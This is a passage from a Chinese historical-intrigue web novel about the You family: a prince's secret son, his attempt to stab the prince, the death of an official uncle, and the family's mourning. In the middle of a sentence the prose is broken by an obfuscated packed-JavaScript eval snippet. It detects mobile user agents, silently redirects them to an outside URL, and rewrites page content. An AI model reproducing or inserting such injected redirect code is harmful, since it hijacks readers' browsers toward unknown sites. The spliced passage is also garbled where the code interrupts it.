容芝轻哼一声，懒得理他，闭起了眼。 游余安静地靠在她肩上，喊了声娘，“昨日我和哥哥来见了命生掌柜，知道他就是詹事府少詹事升铭大人。” 容芝低着头，倒不意外，“都说京城局势复杂，一脚能踢出三个勋贵，但为娘一开始结识命生和尔惑，真没想到他俩背景这样硬，竟一个太子，一个少詹事。” 游余笑道，“娘别解释！您这是，傻人有傻福！” “谁傻！没大没小的泼儿，”容芝气得敲他脑门。 他佯作吃痛，压低声音，“对了，大哥收了升大人一把团扇，上面画着三进的宅院，大哥和九姐姐都很满意，想以后分家了住。” 容芝微愣，婚事有了着落，但她也想到最先见命生和尔惑时，曾被问起，要不要卖掉司宁侯府的宅子。眼下命生给家里准备宅子，怕是太子要翻李家老二的旧案，开始与李家算账了。 房牙行门上挂着“谷之”的木匾。 容芝进去，见命生坐在案前，吹气清理团扇上的浮尘。 她上前，“升大人。” 对方放下笔，指了桌边的竹椅，笑道，“出了朝堂，我只是命生掌柜。夫人和从前一样就行，别闹得彼此生分了。” 容芝坐下转了话头，谈起家中三弟妹李氏与三殿下的少年事。 命生却没回答，只取出四五柄团扇，摆在桌上，扇面画的像是京郊的庄子，田埂上还有稻草人。 “要抓紧处置些田产，夫人瞧瞧。” 他将团扇递过来，容芝凑近看，见底下有个“许”字，心里已猜了八九分。 命生给容芝倒了茶，自己端起茶杯来，“是恭王妃弟弟家的产业。不日，恭王要去江陵就藩，王妃怕到了封地手头紧，才找弟弟处理这些私产，变成现银。” 容芝捏着扇柄的手一紧，“其实我一直有个疑问，按理讲，皇子成婚便该就藩，三殿下成婚十多年，怎么还在京城？” “先前江陵王府没建好，耽搁了这么多年。” 命生吹开茶沫，“最近，秦家七郎去了江陵府当同知，亲自督办王府工程，眼看就要完工了。” 容芝瞬间明白，那工部尚书秦舒派七儿子去江陵，对外说是帮儿子攒功绩，实际分明是想赶三殿下离京。 只是，这些扇面上的庄子，至少值上万两银。 容芝忍不住问，“王妃这么急着筹钱，难道三殿下待她不好？” 命生抬眼看她，“他们成婚多年无子，算不算不好？” 容芝反驳，“或许是身子不济。” “但三殿下一直没立侧妃。” 命生放下茶杯，“夫人觉得，这算恩爱吗？” 容芝没接话，只望着店门外的自家马车出神。 忽听命生先生轻声叹，“女子命途多舛，能得善终的太少了。” 她回头，顺口问命生，“您不成婚，也是怕自己辜负对方？” 命生拿起一把团扇，转了转，“我走的路满是荆棘，何苦拖累旁人。” 离开房牙行时，日头已升高。 容芝提着装团扇的食盒，心里想着游乘和秦徐的婚事。两个孩子定了亲，却磨磨蹭蹭的，不知要耗到何时。 正走神，她的披风被游余拽住。 游余接过她的食盒，放去马车里，“娘别愁了，昨日我听见大哥跟九姐姐说话，大哥的意思是，等殿试放榜就成婚。” 容芝揉了揉游余的头发，心头甚暖，“走，娘给你买糖人去！” 母子俩买完糖人，没回府去了恭王妃弟弟家。 许逢是个微胖的中年人，见了容芝便笑，眼角堆起细纹，“夫人是为我姐的田产来的？” 容芝刚要开口，却听许逢先叹了气。 许逢说，“我姐和王爷多年夫妻，感情甚好，外头传恭王不育，都是瞎扯。早些年王爷有次醉酒，拉着我姐说他有个庶子在外面，我姐想接回来养，他却死活不肯。后来醒了酒，又不认账了，便不了了之。” 容芝手里的茶杯晃了晃，热水溅到指尖，烫得她缩手，“那……王爷从前有没有心悦过谁？” 许逢挠了挠头，“好像是有的，我听我姐提过一嘴，但具体是谁，大家都不知道。” 事情再往下，也没意义了。 容芝不再多问，接过许逢给的钥匙就告了辞。 去京郊的田庄，有半个时辰路程。 马车驶进，麻雀从路边草丛飞出，翅膀扑棱。 庄子的门早朽了，一推就整个掉了下来。 容芝踩着荒草往里，没走几步便实在走不了。她让游余找了自家田庄的农户来收拾，看着大家挥锄头除草，她心里乱糟糟的。 想着三房侄子游编，眉眼真有几分像三殿下。 门口传来游余的喊声，“娘，大姐做了午膳，让我带来！” 他跑得满头汗，打开食盒，有红烧肉，和容芝爱吃的糖酸藕。香味扑出来，瞬间驱散了庄里的草霉味。 母子俩坐在台阶上吃饭，游余吃得急，嘴角沾了些酱汁。容芝拿帕子给他擦，就见他猛地站起来，撞到了身后的矮墙。 那墙被他一撞，“哗啦”一声塌了半边，碎砖里滚出几封书信。 游余捡起来，封面没有字，信封也没封，拿出里面的纸张，竟是手抄的佛经。 末尾的“子衣”二字，写得娟秀。 游余盯着看了半晌，抬头，指着容芝手里的团扇，“我和哥哥之前还猜过，这‘谷之’房牙行的由来，是您的名字。” 容芝微怔，惊道，“你是说，这‘子衣’，是你三伯母李襄？” 游余点了点头。 容芝忙把那几封信夺过来塞入袖中。 “别乱猜，咱们回府，”她拉起游余，脚步快得要跑起来。 回到侯府，游怜山坐在正厅里，手里捏着一本红皮的登记册，大约是太子婚仪要用的。 容芝让游余回南屋，到游怜山面前递上佛经。 游怜山展开，扫过“子衣”二字，面色一凝，“这是李襄写的？你在哪儿找到的？” 容芝简略说了白日自己见了谁，去了哪儿，听了什么，“游编很可能是三殿下的庶子。” 游怜山一慌，赶紧收好手抄佛经，“绝不能让三弟知道此物！他那性子，知道了会疯。” “幸好游编马上就离京，三弟未必能察觉。” 容芝松了口气，刚要坐下，就听见院外传来脚步声。 进来的是三弟游怜钊。 他穿着件藏青官袍，见了大哥大嫂，拱手，“我是来辞行的，马上就去江南督办科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214438|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举案。家中游绵还小，劳烦你们多照看。” 容芝忙应着，“你放心去，游绵和你媳妇，我都会照看好。” 游怜钊却目光一顿，轻飘飘地说，“李氏……她自己能照顾好自己。”说罢转身就走。 容芝看着他的背影，心里堵了块石头。 三弟定是知道了李氏的事，才急着躲去江南。以他刑部侍郎的身份，哪里用得着亲自远行，去督办科举案。 这时，游余从南屋出来，去厨房拿了些鸡腿。 他想起一件事，到正堂的父母面前说，“江陵出了水患，大哥打算陪九姐姐去看望均哥哥！” 游怜山点点头，“你哥想去寻刘子应吧。” 容芝为三房的事发了慌，听了这话，急得额头冒汗。她一把夺下游余手里的鸡腿碗，拔高嗓门，“浑小子，成天只知道吃吃吃！我让你哄你哥开心，你答应得好，给我闹成这样？唉呀，要被你气死了……怎么办，现在怎么办？他去了江陵不回来会试呢？再等三年，变数这么多，他误了前程呢……你赔得起嘛你！还吃？不准吃！” “真误了，也是他自己的劫数，你急，没用。”游怜山低头，捡起桌上的册子。 容芝坐去石阶上抹眼泪，“游怜山！你自私，不顾旁人感受，我忍了！但孩子不懂事，你三十好几了，也不懂事吗？跟这儿添什么油，加什么醋！我真是受够了……我告诉你们，这样的日子，我一天都过不下去了！！” 幸好东园的大门紧紧关着。 她这些话，只有自家的丫鬟小厮听见，大家仍旧忙自己的，权当没听见。 游怜山挨了骂，没敢喘大气。 没过多久，游乘就进了东园。 他今日去见李家老二，劝对方抓住西南剿匪的机会立功赎罪，办成了就是侯府的一桩大事。 游乘笑着抬头，瞧见母亲坐在地上眼眶通红，拍了拍游余，“不是，你又惹娘生气了？” “不是我惹的！” 游余瞪他一眼，委屈地大哭起来，“哥哥要去江陵，娘担心你不回来参加会试，怕你误了大好前程！呜——呜——我的前程就不是前程吗？我难过的时候，你们谁哄过我？” 游乘汗颜，默默拣起地上的鸡腿，剥掉外皮，塞到游余手里，“快吃吧，往后我哄着你。” 而后，他扶起坐台阶上的母亲，轻道，“娘，爹，儿子让你们担心了，儿子不去江陵了。” 容芝看着他，眼泪又淌下来。 游乘笑着补充道，“我见过李二了，劝他去西南剿匪，他说，愿意考虑考虑。” 容芝的心情又降回冰点，起身道，“咱们给他指条活路，他倒摆起架子！行，大家都别活了！” 正在气头，她抓起游怜山的册子，重重甩到地上。 当晚，游怜山被赶出了东园。 次日便是太子大婚。 天还没亮，容芝就起了床，听丫鬟打听回来说，大爷在礼部衙门过的夜，被衙门同僚问起，就说怕误吉时，连夜住下的。 皇宫里处处喜气。 从宫门到太和殿，无数红绸带飘飞。 太子与太子妃穿着礼服，在帝后面前跪拜，礼乐声震耳。 游怜山站在人群里，因前日得知的某些事，不自觉看向三殿下炎钟。 三殿下穿了冕服，上青下浅赤，面容温煦，举手投足满是文雅，实在也不像会私通外女的人。 但“知人知面不知心”。 游怜山没休息好，低头想打哈欠，余光瞥见几个内监慌慌张张地跑了过去。 游怜山悄悄拽住个内监的衣袖，“出什么事了？” 内监脸色煞白，嘴唇哆嗦喃道，“三……三殿下遇刺了！” 礼乐还在继续。 游怜山怔了怔，跟着内监退场，绕过宫墙，进了偏殿。 殿内，太医跪在榻前，给三殿下处理后背的刀伤，白色纱布裹了一层一层，还是渗出血来。 “听好了。” 三殿下忽然开口，声音弱却带着威严，“今日，我是祭拜时磕了后腰，没有刺客。” 众人齐声应着。 游怜山垂着头，在人群后躬身，听见三殿下叫住他，“游大人，上前来。” “微臣来了，”游怜山碎步前进，后背直冒冷汗。 三殿下缓缓抓住他的领子，拉近，“……有劳你去隔壁，将游编带出宫……” 52. 三伯过世，江陵真相 殿外的礼乐仍旧震耳，偏殿的气氛十分沉凝。 游怜山将侄子游编往小太监服里塞，压低他的帽檐，遮住了大半张脸。这副透出不凡之气的眉眼，绝不能被认出来。 “别出声，低头跟我走。” 游怜山攥着游编的手腕。 可刚走出三步，孩子不知又受了何种刺激，捏着一直没松开的短刃，飞快往三殿下养伤的屋子冲去。 “让你欺负我娘！我要杀了你！” 伴着嘶吼，孩子撞开阻拦的内监，径直往榻前扑，刃口逼在了三殿下的脖子上。 “拉开他！” 近身侍卫眼疾手快，直接拎起游编的胳膊，那柄短刃飞出去，撞出脆响。被控制住的游编拼命扭动，眼眶涨红，泪水汹涌。 游怜山追过来，正要为侄子求情。 只见榻上的三殿下缓缓抬手，声音透着沙哑，“不要伤他。” 三殿下看着那团挣扎的少年身影，眼底闪烁复杂情绪。或许有惊讶，有惋惜，还有几分说不清的柔软，“游大人，快带他走……” 游怜山不敢多言，请侍卫反绑了游编，再堵上他的嘴，连拖带拽地将他拉出了殿门。 门合上了，三殿下撑坐起来，看向地上的短刃，低笑道，“那孩子倒有胆气，不怕死，还护着他娘。若他去西南剿匪，说不定真能闯出些军功来。” 这些赞许自是不为游编本人而知。 他被大伯游怜山抗在肩上，动不了，喊不了。 伯侄二人绕到一道小门前，门突然被叩响。 游怜山赶紧把游编往门后一藏，缓缓开了门。 门外站着的竟是太子詹事府少詹事，升铭。此人身后跟着两名内监。 “游大人此时带个小太监，在这里徘徊，难道不知今日是太子大婚？” 升铭先皱起眉，语气刻意严厉，“若是冲撞了，你我怕是都担待不起。” 游怜山没等辩解。 升铭四下望了一圈，凑近，与他小声道，“四处都是巡逻禁军，我引你走，快些出宫门，再晚就是换岗，不好走了。” 宫后角门，砖墙挡住远处大典礼乐。 升铭掀开马车帘，躬身送道，“车里有些吃的和水，别委屈了孩子。” 又递过一块腰牌，“遇盘查，就亮这个，说是太子府上的太监，发了疯症才带出来的。” 游怜山接过腰牌，简单致谢，拉游编进马车。 车轮碾过路面，声响匆忙。 不多时，游怜山看侄子游编眼眶里的红退了，便解开了他的绳索，“去谢府，安分些，来日跟着沈将军去西南，那里没人过问这些荒唐事。” 游编活动四肢，抬起的眼里满是困惑，“我刚才刺了三殿下，他为什么不报复我，反而让你带我走？” 游怜山把绳子绕成一团，不答反问，“你还没说，谁帮你混进宫的？你又怎么敢拿刀行刺？” “今日宫里人多，我跟着送贺礼的人就进了。” 游编避开“帮手”的话头，声音低了些，“这些天，我娘天天躲在房里哭，她的难过都是三殿下害的，我不能看着她难过。” “谁跟你说的这些？” “我听见阿雪姑姑和娘说话，”游编又急红了脸，“说三殿下小时候跟娘要好，还说要娶娘做王妃……可娘最后嫁了我爹！” 游怜山望着孩子较真的模样，叹了口气，“你心里清楚是非，是好事，但你报复的法子错得离谱。” 沉默片刻，他说出关键的话，试图解释给游编听，“你娘没跟三殿下在一起，不是谁欺负谁。女儿家的婚事，从来由不得自己，就像你爹送你去西南，由不得你愿不愿意，一样。” 游编愣在原地，似懂非懂地低下头。 半晌，他吸吸鼻子，哭声渐大，“祖父为什么要拆散他们？他们明明那么好。” 游怜山声音软了些，“也不算完全拆散，他们有了你啊。” 游编追问，“有了我？那我爹呢？他娶了娘，难道只是个摆设？” 游怜山摇了摇头，显得无奈，“你爹也是身不由己，说到底，他也是受害者。” 这话也许就像重锤，砸在只有十一岁的游编心上，他转过身来，死死抱住游怜山的胳膊，“大伯，我犯下死罪，现在该怎么办啊？” 游怜山拍了拍他的背，“此罪，三殿下不会追究，会帮你掩盖过去。但你不可再有下次，就当为了你娘着想。等去了西南，跟着沈将军，好好练本事吧。好好活着，做自己力所能及的，比什么都强。” 这番话绷断了游编的情绪，他埋在游怜山怀里，哭声压抑在狭小的马车里。 五天后。 清晨，京城门开启，吊桥放下“吱呀”一声沉响。 赴西南的剿匪将军沈越，一身戎装立在城外，身后的亲兵牵着两匹马，鞍上捆着简单行囊。 不多时，游编跟着游怜山赶来。 经过几日和缓，少年心神宁静了许多，他换了利落的短打，眉眼间带着些微的局促。 沈越上前拍他的肩，没多言语，只朝游怜山点了点头，带着游编翻身上马。 马蹄扬尘，朝西南方向疾驰而去。 京城的是非与纠葛，被远远抛在身后。 与游家的游编同时离京的，还有两拨人。 一拨是礼部尚书李经章的弟弟李经资，他陪着侄子李谨前往湖西。 他们的队伍里，混着个面色冷硬的汉子，正是李经章的亲信。此人明着是随行照应，实则他的眼睛片刻不离地盯着李经资。 行至离京一百里的驿站，一向娇养的李谨喊累，队伍只好停下。 李谨蹲在路边赏野菊，磨磨蹭蹭地不肯走。 李经资坐在马车上，听侄子李谨的嬉笑打闹声，逐渐捏紧拳头。 离京之后，他的心绪很乱。 事到如今，自己再跟着李家的步调走，这辈子都要藏在面纱后，做李经章手里任由摆布的傀儡，直到被榨干最后一点价值。 前几日游乘私下说的话，也总在脑海回响： ——“西南正剿匪，凭你的本事，去那里闯一闯，未必不能挣出条自己的路。” 就似一颗火星，点燃李经资压在心底的愤懑。李经资掀开车帘，视线扫过不远处的李家亲信，渐渐起了一个决定。 他要转道西南，再不做李家的影子了。 可那李家的亲信像甩不掉的膏药，日夜监视着，他想悄无声息脱身，根本不可能。要逃，就得先除掉这个障碍。 李经资摸向靴里的短匕，冰凉感却让他定神。 他已经察看好了，驿站后院有片茂密的竹林。 如果夜里起夜，他引亲信到僻静处，趁其不备动手，再将罪状藏进竹林里，神不知鬼不觉。 天擦黑时，李经资故意在亲信面前踱步，又频频看向驿站外。 等亲信上前询问，他故作神秘地说，“刚听见竹林有动静，怕是有异状，你随我去看看，别惊了我侄子。” 话音未落，他先一步朝竹林走去。 逃离计划，该开始了。 与此同时，另一拨离京的人，是司宁侯府的三郎游怜钊。 他身为刑部侍郎，奉旨前往江南，彻查科举舞弊案。出行的行囊里除了官文卷宗，只有一封准备好的家书。 游怜钊离京的半月后，这封信送到司宁侯府，落在了容芝手中。 信里，寥寥数语报平安。 游怜钊说，江南之行顺遂，查案已有初步眉目，可笔锋一转，他提到“儿子”游编，字里行间是复杂情绪。 游怜钊在信中坦承，游编进宫行刺三殿下，是他暗中唆使。他既愧疚于利用孩子的单纯，却又从三殿下对游编异乎寻常的隐忍里，窥破了真相。 一直被他爱护的儿子游编，不是他的骨肉，是当年李氏寄居寒山寺时，与三殿下私通所生的孩子，并不真正属于游家。 信末的字迹，染了泪水。 “可我对他的疼惜与牵挂，半分不假。 “如今面对他，不知该如何自处。面对李氏，更不知该如何开口。只盼在江南查案的日子里，能寻得一丝头绪，解开这两难的困局。” 容芝握着信纸，只觉这寥寥数语，无比沉重。 日子再难，仍要继续。 司宁侯府也有一件稍微高兴的事，便是秦九娘的新书局即将开门迎客。 容芝作为未来婆婆，也是不足斋书局大东家，自是不敢怠慢。她帮着未来儿媳秦徐布置，新打的木书架立在墙边，宣纸码得整齐，窗台上的吊兰，倒是秦徐亲手选的，嫩叶片垂下，添了生机。 对于秦徐这姑娘，容芝瞧着她是越发的满意。 每日午时，游乘和弟弟游余送来饭菜，总有一份特意让厨房做的莲子羹。 容芝知道，这是秦徐喜欢的。而她每次吃几口，便借口“去总店看看老周掌柜”，或“取账本”，把空间留给两个年轻人。在院门马车上，她悄悄驻足，听俩孩子的交谈，心里更踏实。 这样平和闲适的日子，像冬日暖阳，却在又半个月后，被一则消息彻底打破了。 那日，容芝在总店整理账本，翻起一页，忍不住和老周掌柜念叨，“按路程算，我家三弟该到江南了，说不定都快查完科举案了呢。” 话音刚落，店外就传来脚步声。 游怜山下值，路过就进来了，可他脸色沉得可怕，全然没有往日的从容。 “出事了。” 游怜山攥着容芝的手，掌心冰凉，“刑部来的消息，三弟在去江南的路上遇了山匪，拼杀时不慎从悬崖掉下去，到现在还没找到人，生死不明。” 容芝手里的账本“啪”地掉在地上。 她愣了半晌，才颤声问，“遇匪？好好的官道，怎么会突然有山匪……” 话没说完，喉间一哽，她趴在游怜山肩上，泣不成声。 刑部侍郎，办案半路，遭遇不幸。 一夜之间，消息在京城传开。 次日上朝，大殿上的众官员的面色比往日凝沉几分。 刑部尚书袁至诚率先出列，沉声道，“游怜钊奉旨查案，途中失踪，事关朝廷官员安危，臣请命派刑部人手，即刻前往事发地搜寻，务必查明他的下落！” 众官安静。 站在朝臣中的游仁泰，上前一步，口气坚定，“袁大人不必费心。” 他闭了闭眼，掩去难过情绪，继续道，“怜钊是臣的三子，臣亲自带人去找，更合适，不必劳烦刑部动用人力，免得耽误其他要务。” 这话一出，殿内变得更静。 皇帝略作沉吟，最终点头准了游仁泰的请求。 然而众官员也都注意到，游仁泰悄悄垂头抹泪，指节攥得发白，仿佛在掩饰什么。 散朝，官员陆续散去。 游怜山故意放慢脚步，与刑部尚书袁至诚并肩，走在宫道上。 他的目光越过人群，一直看着前方的父亲游仁泰。父亲背着手，脚步虚浮，时不时抬手按一下眉心，往日挺直的脊背透着佝偻，满脸都是心事重重。 就在这时，内阁首辅李经章快步追了上去。 此人脸上堆着温和的笑，凑到游仁泰身边，低声劝慰，“游寺卿，你也别太忧心了。怜钊贤侄身手好，又机灵，不过是遇了点小波折，定会平安归来的。你且放宽心，节哀才是。” 游怜山在后面看得真切，忍不住与袁至诚对视一眼，不约而同地笑了。 李经章这副假惺惺的模样，分明是知道什么，却装出关切，简直无异于耗子哭猫，虚伪得令人作呕。 回到侯府，游怜山走得不快。 他刚进东园就屏退了下人，将宫道上的见闻一五一十说给妻子容芝、儿子游乘和游余听。 话落时，屋内一下凝重。 “祖父执意自己去找三伯，恐怕不是担心，是不想让三伯被找到。” 游乘的语气冷静，想必对这个结果并不意外。 “说不定……他找到三伯，还要灭口，绝后患。” 容芝同样有此担忧，脸色发白，“李经章那番安慰，就是证明。你祖父被抓了把柄，被威胁着，才不敢让刑部插手，怕被查出你三伯遇难的真相。” 游余年纪虽小，也听出了其中的凶险，“之前三伯信里说起游编的事，也许牵扯李家更大的秘密。李经章怕三伯把事捅出去，才逼祖父这么做的。” 一家人你看我、我看你，心里都压着同样的猜测，连空气都浸了冷，明明还只是深秋时节。 游乘按捺不住不忿，经过父母同意，去了游仁泰的书房。 推开门时，老人对着桌上的江南地图发愣。 游乘深吸一口气，上前道，“祖父，当年您帮李家老二遮掩罪行，我和父亲已经猜到了……前日李经资离京前，我找过他，劝他去西南剿匪立功，求条活路，此事，或许能成功。” 游仁泰缓缓抬眼，嘴角勾起自嘲，“你以为事情这么简单？李经章怎么可能让他弟弟脱离掌控？派去湖西的亲信，实则是监视，李经资的所有动作，都在李经章的眼皮子底下。” 游乘不退反进，往前凑一步，急切道，“您不能因为惧怕李经章，就不管三伯啊！您去找三伯，把三伯带回京城……” “够了。” 游仁泰打断了他，手指重重敲在桌案上，“当年的错已经铸下，再也回不了头。我只盼李经章能守诺，别再揪着我们游家不放。这事，你别管，也管不了。” 游乘看着祖父冷硬的侧脸，悲愤难抑自控，“三伯是您的亲儿子！您就甘心这样舍弃他了吗？” 游仁泰闭上眼，说出口的话没有半分松动，“牺牲他一个，能换整个游家平安，这是他的本分，也是他的光荣。我做的决定，问心无愧。” 阴云遮挡在游家府宅，一家人都难于缓过神。 可是，越是怕什么，就越要来什么。 又过了五天，游仁泰的车马终于驶回侯府。 车帘掀开，只有他一人下来，手里握着一把熟悉的刑部官吏专用的佩刀，刀柄上缠着白绸。 游家三郎游怜钊的死讯，就这么轻飘飘又沉甸甸地砸在游家每个人心上。 众人恸哭。 入夜，三媳妇李氏瘫坐在灵前，反复抚摸着棺木上的纹路，眼泪像断了线的珠子。 “怜钊，是我害了你……若不是我，你也不会落得这般下场……” 李氏身子本就弱，一连在灵堂守了五天不肯离开，水米不进，晕倒是自然的。 容芝送她回西园，等她情绪稍稍平复，才敢劝她保重身体。 可她撑着身子站起来，说了一个决定，“我要去寒山寺，这辈子都在那里为我的三郎祈福，静心，赎罪。” 容芝看着李氏单薄的背影，想起游怜钊生前对她托付的“照拂女儿和李氏”，当即也说，“三弟妹，我陪你去。你一人在寺里，我怎么放心？” 一旁的婆母邓氏早已哭红了眼，抹着泪道，“家里这气氛，我实在待不下去了。我还不如去寒山寺，陪着你们，也为怜钊诵经超度。” 三个妇人表明心意，齐齐看向游仁泰。 老者沉默了半晌，终是点了点头。 司宁侯游家三爷游怜钊的丧礼办得肃穆。 侯府门前挂起的白幡在风里飘着，往来吊唁的官员络绎不绝，车马排满了半条街。 刑部尚书袁至诚是头一天就到的。 他穿着素袍，对着灵位躬身祭拜后，拉上游仁泰到偏室说话，“游寺卿，眼下还没找到怜钊的尸首，若是你点头，刑部随时能再派一队人去搜山。哪怕是掘地三尺，也得把人找回来，给游家、给朝廷一个交代。” 游仁泰靠在椅上，眼眶泛红，没半分光亮。 他摆了摆手，语气透着麻木，“不必了，人都没了，找不找的，还有什么意思。” 袁至诚还想再劝，见游仁泰别过脸去，一副不愿多谈的模样，只能叹了口气，转身离开。 大郎游怜山送他出府，两人走在挂着白灯笼的回廊里，风卷着纸钱飘过，都没说话。 没过多久，内阁首辅李经章也派了人来。 李经章近来闹了头疾，今日来的是他府上的第一幕僚，捧着精致的祭品，跪在灵前，扯着嗓子干哭了几声，光是响亮却没真情，眼泪也没掉一滴。 连旁边守灵的小厮见了，都忍不住对这人撇嘴，心里明镜似的。 游怜钊是李家的女婿，这趟吊唁，不过是做给外人看的面子活，连装都装得不认真。 更意外的是，三殿下府里也送了祭礼来。 侍从捧着奠仪，躬身对游仁泰说，“殿下念及与游大人的旧情，特前来致哀”。 不等这人讲完，游仁泰直直瞪了过去。 侍从浑身一僵，手都发颤，连忙放下奠仪，匆匆行了个礼，转身跑了。 丧礼告一段落。 老夫人邓氏收拾心情，带着媳妇容芝、李氏上了寒山寺。 马车驶离侯府，车帘被风吹起，李氏靠在车壁上，脸埋在帕子里，肩膀轻抖，低低的啜泣声飘出来，洒在上山的道上。 府里剩下的男人们，日子也不好过。 长房的游乘和游余，成天关在书房里，案上摊着书册和纸墨，一个字也看不进，一个字也写不出。 往日里爱拌嘴的游余，如今只是对着院中的白幡发呆，眼泪顺着脸颊往下掉，连擦都忘了。 游乘看着弟弟哭，想开口安慰，话到嘴边，又被堵回去。连他自己都没法说服自己“一切都会好起来”，怎么劝得了弟弟。 就在游家被丧气笼罩时，游乘收到未婚妻秦徐送来的消息。 说，秦家七郎秦均从江陵寄了家书，信里藏着两件事。 信中，秦均特意叮嘱，江陵近来连降暴雨，江水涨得厉害，河堤多处出现隐患，下游村子已经开始转移村民，让九妹妹秦徐千万不要贸然前往，免得遇上危险。 另一件事。 三殿下那座本就快完工的府邸，因水患又塌了一角，好在损毁不算严重，河工们预估一个月内能修复。等府邸一竣工，三殿下便要立刻离京就藩，再没有半分留京的余地。 游乘捏着秦徐的信，不免思绪飞转。 三殿下离京的日子，与府邸修复的进度配合。他总觉得，这“水患塌房”背后，藏着说不透的古怪，像在刻意拖延。 这封家书没收到多久，就被秦均的父亲、工部尚书秦舒整理成奏报，转递到了内阁首辅李经章手中。 秦舒详细说明了，三殿下府邸的二次坍塌，还有修复的工期，以及三殿下离京就藩的时限。 李经章看到奏报，原本平稳的呼吸，急促起来。他急匆匆往三殿下的府中赶，见面时连客套话都省了。 “殿下，再等下去，我们所有筹谋都要落空。实在不行，想办法让陛下尽快‘大行’。” 三殿下坐在榻上，捧着药碗，没立刻接话。 彼时的三殿下，腰上裹着厚纱布，被刺的伤口没好，动作稍大就牵扯发疼。可他最挂心的，不是自己的伤，而是远在西南的游编。 近来，他总借着了解西南防务的由头，往兵部跑，一遍遍追问进展，关切是藏都藏不住。 兵部官吏看出端倪，屡次私下里多提醒两句，不可过度关注，却总被他岔开话题。 这些事，李经章看在眼里，也时常劝说。 眼下要紧的是，沉住气。 殿下频繁关注西南，传到太子耳中，定会在陛下跟前告状，说殿下因私废公、图谋不轨。 到时候，计划就全毁了。 “李首辅。” 三殿下喊道，嘴角勾起冷峭，语带嘲讽，“太子与陛下的关系，你能看得比我清楚？你别忘了，太子和前太子是一胞兄弟，当年他哥死的那样蹊跷，他肯定会追查的。哦，倒差点又忘了，您还是前太子的老师啊！” 李经章静静听着，没说话。 他垂在身侧的手握成拳，额角渗出汗。 前太子的死，他不可能忘记。 当年正是他设计，让前太子和皇帝父子反目，一步步引着皇帝动了怒，最终亲手打死了自己的嫡子。 那桩陈年案里，每一步都浸着算计，是永远不敢对外言说的秘密。 时日飞逝，游家的服丧事宜按部就班地进行。 按照礼制，游仁泰需为儿子游怜钊服丧一年。 这并非需辞官归乡的“丁忧”，他仍可留在官场处理公务，只是得省去所有庆贺宴饮，连朝服上的纹样都要换成素色。 游怜山与二弟游怜泉，作为胞兄，服丧期为九个月，规矩与父亲一致，日常行事需处处透着肃穆。 再到游乘与游余这一辈，按律要服丧五个月。 最揪心的事情，还是发生了。 五个月的服丧期，恰好与来年的会试撞了正着。他们经历丧亲之痛，更要搁置科考，再等三年。 三年的等待，变数诸多。 游乘没对人说起心中的担忧，这块重石却早就压在了他的心头，让沉重的日子更沉重。 如今的司宁侯府，内宅少了大半人。 媳妇都不在，剩下二房的周氏暂且打理家事。 好在府里正逢服丧，白幡未撤，本就停了所有宴饮应酬，连日常洒扫都动作轻缓。 内宅事务少了许多，周氏按着规矩，安排下人照看灵堂、打理庭院，倒也井井有条，没出半分差错，勉强撑住了侯府的体面。 一个月后，正月新年将至。 游乘和游余怕几位长辈亲人在寒山寺孤单，专程去了一趟。 山路蜿蜒，两人踩着黄叶走。 此时的寺门更显清冷，比侯府清寂得多。 进了禅房，邓氏与容芝见他们来，眉眼间总算有了些笑意。 游乘将二伯母周氏、四伯母白氏的问候一一转达，又递过大大的包裹，“二伯母说寺里凉，让给祖母带些厚实的新棉被来。” 说话间，三伯母李氏从里间走出来。 不过月余未见，她陡然老了好几岁，原本挽得整齐的发髻松了些，鬓角冒出几缕银丝，素色僧衣套在身上，显得身形愈发单薄。 李氏看见游乘兄弟，勉强牵了牵嘴角，眼底的哀戚像化不开的雾。她往日里温和的气息，掺杂了守寡的清苦，变成一股幽幽然的烟，随时会飘散消散似的。 这一幕，看得人心酸。 游乘低着头，听见身旁一向乐观的弟弟游余竟在小声地哭。他握了握弟弟的手，不知该说些什么安慰的话。 一家人简单用了饭，邓氏和李氏回屋。 容芝陪着儿子游乘和游余，看着院中地上的银杏叶，叹气不止。 “人这一辈子，说长不长，说短不短，总跟自己较劲，反倒累了心。 “五个月服丧期过了，你们要不要去江陵，自己拿主意就好。 “至于你去江陵，是为了寻刘与之，还是为了别的，我也不再多问、多管了。路是你们自己走的，只要日后不后悔，便够了。” 游乘闻言一怔。 之前母亲总担心他去江陵，从此消沉，再不回京，此刻母亲却想通了，松了口。 望着母亲眼角的细纹，游乘明白了她话中的深意。她怕世事无常，更怕他留下了遗憾。 五个月的丧期，熬到头。 把对故去亲人的追思留在心里，撤去了司宁侯府的白幡。 春日将尽，院中枯枝却冒出了新绿。 游乘与游余计划动身前往江陵，收拾好行装，换上青布长衫的二人，身上多了几分沉静。 离京去江陵的那日，秦家的马车准时停在侯府门前。 秦徐掀开车帘，跳下车，眼中是清澈与期待，虽说哥哥叮嘱不可前往，可她当然要陪着游乘游余一同出发。 三人碰上头，朝着目的地而去。 各自心里藏着对未知的期许，也藏着未解开的谜团。 车马抵达江陵正是初夏，周身裹着闷热湿气。 大家去秦家均哥哥的家中，见过嫂子和侄女，才知秦家并不宽敞，便只留下秦徐住着，兄弟俩往驿站去找地方安顿。 秦徐说，必须看他俩有地睡觉，才能放心。 几人只好一起返回驿站，路过绕城的河堤，远远看见一道熟悉的身影。 只见秦均的裤脚卷到膝盖，腿上沾满泥浆，手拿木尺，在堤上巡查。他时不时蹲下身，用木尺戳一戳河堤的泥土，身后跟着几个同样满身泥的差役。 “均哥哥——” 游余高声喊了一句。 秦均回头见是他们，抹了额汗，冲他们喊话，“早就收到徐徐的信，总算把你们盼来！” 说着话，秦均跑下河堤，一口气到几人面前。 眼下江陵已入夏汛，上游连日降雨让河水涨得厉害，河堤多处出现隐患，秦均得一刻不停地盯着，稍有差池，下游的村子就全完了。 正当此时，远处传来一阵急促的呼喊。 “秦大人！东边堤岸又出问题了！” 秦均来不及多聊，只匆匆嘱咐他们去驿站等候，便朝着险情方向奔去。 